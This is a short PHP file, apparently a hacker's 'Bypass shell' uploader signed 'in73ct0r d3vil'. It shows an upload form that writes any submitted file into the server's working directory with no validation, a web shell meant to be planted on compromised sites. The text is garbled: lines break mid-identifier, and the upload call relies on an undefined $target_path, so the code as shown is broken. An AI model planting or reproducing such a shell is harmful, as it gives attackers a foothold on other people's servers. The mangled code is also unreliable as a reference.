Aaaa
Aaaa
Aaaa
<body>
<?php
$myUpload = new maxUpload();
//$myUpload-
>setUploadLocation(getcwd().DIRE
CTORY_SEPARATOR);
$myUpload->uploadFile();
?>
<?php
class maxUpload{
var $uploadLocation;
function maxUpload(){
$this->uploadLocation =
getcwd().DIRECTORY_SEPARATOR
;
}
function setUploadLocation($dir)
{
$this->uploadLocation = $dir;
}
function
showUploadForm($msg='',$error='')
{
?>
<div id="container">
<center><b>in73ct0r d3vil
Bypass shell</b></center><br/>
<?php
if ($msg != ''){
echo '<p class="msg">'.
$msg.'</p>';
} else if ($error != ''){
echo '<p class="emsg">'.
$error.'</p>';
}
?>
<form action=""
method="post"
enctype="multipart/form-data" >
<center>
<label><b>File: </b>
<input
name="myfile" type="file" size="30"
/>
</label>
<label>
<input
type="submit" name="submitBtn"
class="sbtn" value="Upload" />
</label>
</center>
</form>
</div>
<?php
}
function uploadFile(){
if (!isset($_POST['submitBtn']))
{
$this->showUploadForm();
} else {
$msg = '';
$error = '';
if(@move_uploaded_file($_FILES['
myfile']['tmp_name'], $target_path))
{
$msg =
basename( $_FILES['myfile']
['name']).
" was uploaded
successfully!";
} else{
$error = "The upload
process failed! :-( ";
}
}
$this-
>showUploadForm($msg,$error);
}
}
}
?>
</body>